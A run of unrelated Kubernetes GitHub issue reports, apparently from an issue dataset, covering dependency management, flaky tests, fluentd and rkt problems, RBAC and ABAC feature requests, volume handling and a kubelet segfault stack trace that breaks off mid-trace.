it takes a non-negligible amount of effort to convince go to vendor everything we need at the top-level in k/k, given that some of our dependencies are actually only used by our staging sub-projects.\r -     since go modules don't track modifications at the sub-package level, we need to maintain godeps.json files for a while, and there's no official tooling for that.\r -     our go modules dependencies need to be kept in sync across k/k and all staging repos.\r \r https://github.com/sigma/vgo-k8s-tools has some  ugly  code to address all these, but is very much a work in progress\r \r \r third class of issues: go modules usability\r -      extremely  opaque about what it does, and why. took me some grepping the cache to understand why golang.org/x/exp was bumped in the first place in  68478. with our kind of dependency graph complexity, lack of clarity is hard to handle.\r -     we'll still need some scripting around go modules to maintain our dependency graph. hopefully that should be after running regular module operations in the main or staging repos.

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r  presubmit tests  https://testgrid.k8s.io/presubmits-kubernetes-blocking pull-kubernetes-integration \r \r   which test s  are failing  :\r kubernetes/test/integration/scheduler.testpreemptionraces\r \r   since when has it been failing  :\r not exactly known. the flake rate is not high. that's probably why it has not received attention.\r \r   testgrid link  :\r https://testgrid.k8s.io/presubmits-kubernetes-blocking pull-kubernetes-integration\r \r   reason for failure  :\r logs are currently unaccessible. test grid returns an error when clicking on the failed instances.\r \r   anything else we need to know  :\r \r  /label help-wanted\r

in an ideal world we need a way to seamlessly carry trace, debugging, cancellation and other data across boundaries - whether that be process, goroutine or rpc.  the code.google.com/p/go.net/context package provides wiring to do this. references http://blog.golang.org/context  i'd like to wire this into kubernetes, but want blessing before going off and doing it. if you think this would be of value let me know and i'll send a pr.

kubernetes version    use  kubectl version  :      kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.5\ , gitcommit:\ b0deb2eb8f4037421077f77cb163dbb4c0a2a9f5\ , gittreestate:\ clean\ , builddate:\ 2016-08-11t20:29:08z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:38:31z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }        environment  : -   cloud provider or hardware configuration  :  gcp -   os    e.g. from /etc/os-release :    name=coreos   id=coreos   version=1068.10.0   version_id=1068.10.0   build_id=2016-08-23-0220   pretty_name=\ coreos 1068.10.0  moreos \    ansi_color=\ 1;32\    home_url=\ https://coreos.com/\    bug_report_url=\ https://github.com/coreos/bugs/issues\  -   kernel    e.g.  uname -a  :   linux kubernetes-minion-group-try0 4.6.3-coreos  2 smp tue aug 23 02:14:16 utc 2016 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux    what happened  : tried deploying rkt on gcp but it fluentd-gcp kept crashing.   with the message:      sep 06 16:03:57 kubernetes-minion-group-try0 systemd 1 : stopped k8s_dfb82c18-5431-4e4e-900c-4438d905b94c.service. sep 06 16:03:57 kubernetes-minion-group-try0 systemd 1 : started k8s_dfb82c18-5431-4e4e-900c-4438d905b94c.service. sep 06 16:03:57 kubernetes-minion-group-try0 kubelet 1569 : w0906 16:03:57.372066    1569 container.go:352  failed to create summary reader for \ /system.slice/k8s_dfb82c18-5431-4e4e-900c-4438d905b94c.service\ : none of the reso sep 06 16:03:57 kubernetes-minion-group-try0 nsenter 12333 : failed to stat /var/lib/docker/containers: no such file or directory sep 06 16:03:57 kubernetes-minion-group-try0 systemd 1 : k8s_dfb82c18-5431-4e4e-900c-4438d905b94c.service: main process exited, code=exited, status=1/failure sep 06 16:03:57 kubernetes-minion-group-try0 systemd 1 : k8s_dfb82c18-5431-4e4e-900c-4438d905b94c.service: unit entered failed state. sep 06 16:03:57 kubernetes-minion-group-try0 systemd 1 : k8s_dfb82c18-5431-4e4e-900c-4438d905b94c.service: failed with result 'exit-code'.      which mentions its explicitly looking for a folder on the minion called   /var/lib/docker/containers  and that path is described here as a volume mount:   fluentd-gcp.yaml  https://github.com/kubernetes/kubernetes/blob/master/cluster/saltbase/salt/fluentd-gcp/fluentd-gcp.yaml l39     what you expected to happen  :    how to reproduce it    as minimally and precisely as possible :      export kube_os_distribution=coreos export kube_gce_master_project=coreos-cloud export kube_gce_master_image=coreos-stable-1068-10-0-v20160823 export kube_gce_node_project=coreos-cloud export kube_gce_node_image=coreos-stable-1068-10-0-v20160823 export kube_container_runtime=rkt      then cluster/kube-up.sh    anything else do we need to know  :  i can get google-fluentd to not crash if i ssh into the vm and just create the folder mentioned      kubernetes-minion-group-try0 ~   rkt list | grep running 51d73fae    elasticsearch-logging   gcr.io/google_containers/elasticsearch:1.9          running 14 minutes ago  14 minutes ago   6119540e    elasticsearch-logging   gcr.io/google_containers/elasticsearch:1.9          running 15 minutes ago  15 minutes ago   71c37402    kubedns         gcr.io/google_containers/kubedns-amd64:1.5          running 12 minutes ago  12 minutes ago   c90e9549    node-problem-detector   gcr.io/google_containers/node-problem-detector:v0.1     running 17 minutes ago  17 minutes ago   cabcc589    fluentd-cloud-logging   gcr.io/google_containers/fluentd-gcp:1.21           running 8 minutes ago   8 minutes ago    d1ad9ae2    influxdb        gcr.io/google_containers/heapster_influxdb:v0.5         running 12 minutes ago  12 minutes ago   dadc551d    kibana-logging      gcr.io/google_containers/kibana:1.3             running 12 minutes ago  12 minutes ago   daf4bf73    heapster        gcr.io/google_containers/heapster:v1.1.0            running 13 minutes ago  13 minutes ago   e5061de7    kubernetes-dashboard    gcr.io/google_containers/kubernetes-dashboard-amd64:v1.1.0  running 15 minutes ago  15 minutes ago   f27f0873    default-http-backend    gcr.io/google_containers/defaultbackend:1.0         running 11 minutes ago  11 minutes ago

follow up for https://github.com/kubernetes/kubernetes/pull/30588 such tests will require at least 2 api-server, for now they can be run against kargo  0  cluster  default deployment is 2 kube controller nodes - kube-apiserver, kube-controller-manager and scheduler, 3 etcd nodes, and 3 kubelet + kube-proxy   possible test cases: - replicas scale up/scale down while blocking traffic to different apiservers - configmap updates - run e2e conformance tests + chaosmonkey that will block/unblock traffic to certain apiservers 1. https://github.com/kubespray/kargo

we are using client certs for authentication. so, it seems that we can only specify username. when used in conjunction with abac in 1.4, we are restricted to a pre-defined list of users or any user \\  . it will be great if regex can be supported in user name matching. assuming client certs are issued with commanname in proper format via an external process, we can easily add new users to a running cluster. it will be much easier way to give access to users than going the oidc or webhook route for our case, imho.

hi team,  noticed couple hardcoded values in fluentd-elasticsearch addon as mentioned below:    fluentd-es-image   td-agent.conf in fluentd-es-image has hardcoded host value  host elasticsearch-logging  which is not working for us in two scenarios, is it possible to fix this to pass this as environment available or  {svcname}_service_host?  1  we are using environment specific cluster domain  e.g. elasticsearch-logging.kube-system.svc.dev/stage/prod   for kube-dns and not default one i.e cluster.local 2  alpine based images does not resolve shortname and it require fqdn for resolution.    kibana-image   is it possible to pass environment variable so we can appropriate environment variable. currently it default to production.  \ message\ :\ listening on 0.0.0.0:5601\ ,\ node_env\ :\ production\ }   and also noticed that kube-addon-manager is not able to create daemonset pods, it should be supported.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke/878/  failed:  k8s.io  deployment rollingupdatedeployment should delete old pods and create new ones {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:68 expected error:     < errors.errorstring | 0xc420451a60>: {         s: \ error waiting for deployment \\\ test-rolling-update-deployment\\\  status to match expectation: total pods available: 0, less than the min required: 2\ ,     }     error waiting for deployment \ test-rolling-update-deployment\  status to match expectation: total pods available: 0, less than the min required: 2 not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/deployment.go:337       previous issues for this test:  31075  36286

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-etcd3/6634/ failed:  k8s.io  generated release_1_5 clientset should create pods, delete pods, watch pods {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/generated_clientset.go:190 mar  8 03:51:06.770: failed to observe pod deletion /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/generated_clientset.go:118

in volume management code, volumespec is firstly needed to find the volume plugin. after the volume plugin is found, volumespec is again used to attach or mount or check volume is still attached or not. this information is reconstructed during controller failure. the assumptions used here are \r \r - if pod still exists, volumespec should be reconstructed when controller is restarted. however, as discover from this bug, it might not be true if pvc is deleted in the meantime because pod only has pvc information and requires to use pvc to get pv information. by fixing issue  45143, we could fix this problem.\r \r - if pod is already deleted, volumespec is not really needed for detaching. but before detaching finishes, syncstate loop might check this volume's attachement status and will use volumespec during checking. one safe guard we can put here is to fail findattachablepluginbyspec if spec is nil. this function is used by multiple places such as attach_detach_controller, desired_state_of_world, and actual_state_of_world, oeperation_generator etc. instead of adding nil check many places, i feel findattachablepluginbyspec or even better findpluginbyspec  is called by findattachablepluginbyspec and other places . open an issue for this

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r   what happened  :\r currently, we are using  resourcenames  field in rbac roles to allow permissions for a particular instance of any resource like pods, secrets. etc  like below\r    \r rules:\r - apigroups:  \ \  \r   resources:  \ pods\  \r   resourcenames:  \ my-pod\  \r   verbs:  \ get\  \r    \r but consider a situation where we create a  deployment with name say \ my-deployment\  and now we want to give permissions to check logs of pod created by this deployment . pods created by deployment will have name like  my-deployment-xxxxx-xxxx .\r so, we can add  resourcenames:  \ my-deployment-xxxxx-xxxx\    in role which will give permissions only for pod with name  my-deployment-xxxxx-xxxx .\r but if this pod get deleted, then deployment will create new pod with name say  my-deployment-yyyyy-yyyy . so, now we have to update existing role with  resourcenames:  \ my-deployment-yyyyy-yyyy\    to give permissions for new pod  my-deployment-yyyyy-yyyy .\r \r   what you expected to happen  :\r  resourcenames  field in rbac role should be enhanced to give permissions to all instances of a resource matching some pattern.\r for example, if we define  resourcenames:  \ my-deployment\    in role, then user should be given access to all instances of a resource which contains string \ my-deployment\  in instance name.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   environment  :\r - kubernetes version  use  kubectl version  :  gitversion:\ v1.8.2-2+d68ca389c3219c\  \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

currently, method call  assertsupportedversion    must be made explicitly.  move that call inside the csi_client.go and do it automatically.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r  \r \r   what happened  :\r sep 27 14:53:27 wade-worker kubelet 30117 : fatal error: unexpected signal during runtime execution\r sep 27 14:53:27 wade-worker kubelet 30117 :  signal sigsegv: segmentation violation code=0x2 addr=0x7ffc3a32103f pc=0x7ffc3a32103f \r sep 27 14:53:27 wade-worker kubelet 30117 : runtime stack:\r sep 27 14:53:27 wade-worker kubelet 30117 : runtime: unexpected return pc for runtime.sigpanic called from 0x7ffc3a32103f\r sep 27 14:53:27 wade-worker kubelet 30117 : stack: frame={sp:0x7ffc3a320fe0, fp:0x7ffc3a321030} stack= 0x7ffc39b22218,0x7ffc3a321240 \r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320ee0:  00007ffc3a320f50  000000000042e53c <runtime.dopanic_m+540>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320ef0:  000000000042dfe1 <runtime.throw+129>  00007ffc3a320fc0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f00:  0000000000000000  0000000005e0ada0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f10:  010000000042ea98  0000000000000004\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f20:  000000000000001f  00007ffc3a32103f\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f30:  00007ffc3a32103f  0000000000000002\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f40:  0000000003b26f5b  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f50:  00007ffc3a320f78  000000000045907c <runtime.dopanic.func1+60>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f60:  0000000005e0ada0  000000000042dfe1 <runtime.throw+129>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f70:  00007ffc3a320fc0  00007ffc3a320fb0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f80:  000000000042df0a <runtime.dopanic+74>  00007ffc3a320f90\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f90:  0000000000459040 <runtime.dopanic.func1+0>  0000000005e0ada0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fa0:  000000000042dfe1 <runtime.throw+129>  00007ffc3a320fc0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fb0:  00007ffc3a320fd0  000000000042dfe1 <runtime.throw+129>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fc0:  0000000000000000  000000000000002a\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fd0:  00007ffc3a321020  000000000044386e <runtime.sigpanic+654>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fe0: <0000000003b5ace4  000000000000002a\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320ff0:  000000c420000180  00000008019f5c00\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321000:  000000000045d2f1 <runtime.goexit+1>  0000000005e0ada0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321010:  0000000002c97f42 <main.init+98>  00007ffc3a321058\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321020:  00007ffc3a321028 !00007ffc3a32103f\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321030: >00007f3fd9c11288  cc00000005e00000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321040:  0000000000000001  00007f3fd9c11288\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321050:  00007f3fd9c11288  00007ffc3a321098\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321060:  00000000004248fa <runtime.  mheap .alloc_m+330>  0000000005e13ee0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321070:  00007f3fd9c11288  000000000042babc <runtime.futexwakeup+60>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321080:  000000c420069948  0000000100000001\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321090:  0000000000000000  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210a0:  0000000000000000  0000000000000001\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210b0:  0000000000000001  0000000005e0004e\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210c0:  00007f3fd9c11288  000000000042b9fb <runtime.futexsleep+75>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210d0:  0000000005e0b828  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210e0:  0000000000000000  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210f0:  00007ffc00000000  0000000000433dea <runtime.startm+218>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321100:  0000000000000000  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321110:  00007ffc3a321148  00000000004122fb <runtime.notesleep+155>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321120:  0000000005e0b828  00007ffc00000000\r sep 27 14:53:27 wade-worker kubelet 30117 : runtime.throw 0x3b5ace4, 0x2a \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/runtime/panic.go:616 +0x81\r sep 27 14:53:27 wade-worker kubelet 30117 : runtime: unexpected return pc for runtime.sigpanic called from 0x7ffc3a32103f\r sep 27 14:53:27 wade-worker kubelet 30117 : stack: frame={sp:0x7ffc3a320fe0, fp:0x7ffc3a321030} stack= 0x7ffc39b22218,0x7ffc3a321240 \r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320ee0:  00007ffc3a320f50  000000000042e53c <runtime.dopanic_m+540>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320ef0:  000000000042dfe1 <runtime.throw+129>  00007ffc3a320fc0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f00:  0000000000000000  0000000005e0ada0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f10:  010000000042ea98  0000000000000004\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f20:  000000000000001f  00007ffc3a32103f\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f30:  00007ffc3a32103f  0000000000000002\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f40:  0000000003b26f5b  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f50:  00007ffc3a320f78  000000000045907c <runtime.dopanic.func1+60>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f60:  0000000005e0ada0  000000000042dfe1 <runtime.throw+129>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f70:  00007ffc3a320fc0  00007ffc3a320fb0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f80:  000000000042df0a <runtime.dopanic+74>  00007ffc3a320f90\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320f90:  0000000000459040 <runtime.dopanic.func1+0>  0000000005e0ada0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fa0:  000000000042dfe1 <runtime.throw+129>  00007ffc3a320fc0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fb0:  00007ffc3a320fd0  000000000042dfe1 <runtime.throw+129>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fc0:  0000000000000000  000000000000002a\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fd0:  00007ffc3a321020  000000000044386e <runtime.sigpanic+654>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320fe0: <0000000003b5ace4  000000000000002a\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a320ff0:  000000c420000180  00000008019f5c00\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321000:  000000000045d2f1 <runtime.goexit+1>  0000000005e0ada0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321010:  0000000002c97f42 <main.init+98>  00007ffc3a321058\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321020:  00007ffc3a321028 !00007ffc3a32103f\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321030: >00007f3fd9c11288  cc00000005e00000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321040:  0000000000000001  00007f3fd9c11288\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321050:  00007f3fd9c11288  00007ffc3a321098\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321060:  00000000004248fa <runtime.  mheap .alloc_m+330>  0000000005e13ee0\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321070:  00007f3fd9c11288  000000000042babc <runtime.futexwakeup+60>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321080:  000000c420069948  0000000100000001\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321090:  0000000000000000  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210a0:  0000000000000000  0000000000000001\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210b0:  0000000000000001  0000000005e0004e\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210c0:  00007f3fd9c11288  000000000042b9fb <runtime.futexsleep+75>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210d0:  0000000005e0b828  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210e0:  0000000000000000  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a3210f0:  00007ffc00000000  0000000000433dea <runtime.startm+218>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321100:  0000000000000000  0000000000000000\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321110:  00007ffc3a321148  00000000004122fb <runtime.notesleep+155>\r sep 27 14:53:27 wade-worker kubelet 30117 : 00007ffc3a321120:  0000000005e0b828  00007ffc00000000\r sep 27 14:53:27 wade-worker kubelet 30117 : runtime.sigpanic  \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/runtime/signal_unix.go:372 +0x28e\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 1  select, 24 minutes :\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/cmd/kubelet/app.run 0xc420229200, 0xc42091e280, 0xc4200b0900, 0x1, 0x1 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:745 +0x72c\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/cmd/kubelet/app.run 0xc420229200, 0xc42091e280, 0xc4200b0900, 0xc420c49b80, 0x1 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:412 +0xfc\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/cmd/kubelet/app.newkubeletcommand.func1 0xc420caaf00, 0xc42004c130, 0x11, 0x11 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/app/server.go:261 +0x521\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420caaf00, 0xc42004c130, 0x11, 0x11, 0xc420caaf00, 0xc42004c130 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:760 +0x2c1\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc420caaf00, 0xc42023f320, 0x3c22768, 0xc420c49ee8 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:846 +0x30a\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420caaf00, 0x3c327a8, 0x5e0a580 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:794 +0x2b\r sep 27 14:53:27 wade-worker kubelet 30117 : main.main  \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubelet/kubelet.go:43 +0x164\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 34  chan receive :\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/github.com/golang/glog.  loggingt .flushdaemon 0x5e0a920 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:879 +0x8b\r sep 27 14:53:27 wade-worker kubelet 30117 : created by k8s.io/kubernetes/vendor/github.com/golang/glog.init.0\r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/golang/glog/glog.go:410 +0x203\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 77  select, 24 minutes, locked to thread :\r sep 27 14:53:27 wade-worker kubelet 30117 : runtime.gopark 0x3c33288, 0x0, 0x3acb154, 0x6, 0x18, 0x1 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/runtime/proc.go:291 +0x11a\r sep 27 14:53:27 wade-worker kubelet 30117 : runtime.selectgo 0xc420066750, 0xc4200b0c00 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/runtime/select.go:392 +0xe50\r sep 27 14:53:27 wade-worker kubelet 30117 : runtime.ensuresigm.func1  \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/runtime/signal_unix.go:549 +0x1f4\r sep 27 14:53:27 wade-worker kubelet 30117 : runtime.goexit  \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/runtime/asm_amd64.s:2361 +0x1\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 58  syscall, 24 minutes :\r sep 27 14:53:27 wade-worker kubelet 30117 : os/signal.signal_recv 0x4360c8 \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/runtime/sigqueue.go:139 +0xa6\r sep 27 14:53:27 wade-worker kubelet 30117 : os/signal.loop  \r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/os/signal/signal_unix.go:22 +0x22\r sep 27 14:53:27 wade-worker kubelet 30117 : created by os/signal.init.0\r sep 27 14:53:27 wade-worker kubelet 30117 : /usr/local/go/src/os/signal/signal_unix.go:28 +0x41\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 117  chan receive, 6 minutes :\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch.  broadcaster .loop 0xc420deab40 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch/mux.go:207 +0x59\r sep 27 14:53:27 wade-worker kubelet 30117 : created by k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch.newbroadcaster\r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/watch/mux.go:75 +0xd5\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 78  chan receive, 24 minutes :\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.setupsignalhandler.func1 0xc420252240, 0xc4200b0900 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/signal.go:36 +0x34\r sep 27 14:53:27 wade-worker kubelet 30117 : created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.setupsignalhandler\r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/signal.go:35 +0xd0\r sep 27 14:53:27 wade-worker kubelet 30117 : goroutine 79  select :\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.jitteruntil 0x3c22768, 0x12a05f200, 0x0, 0x1, 0xc4200b0480 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:145 +0x16a\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.until 0x3c22768, 0x12a05f200, 0xc4200b0480 \r sep 27 14:53:27 wade-worker kubelet 30117 : /workspace/anago-v1.11.2-beta.0.50+bb9ffb1654d4a7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88 +0x4d\r sep 27 14:53:27 wade-worker kubelet 30117 : k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/wait.forever 0x3c22768, 0x12a05f200 \r sep 27 14:53:27 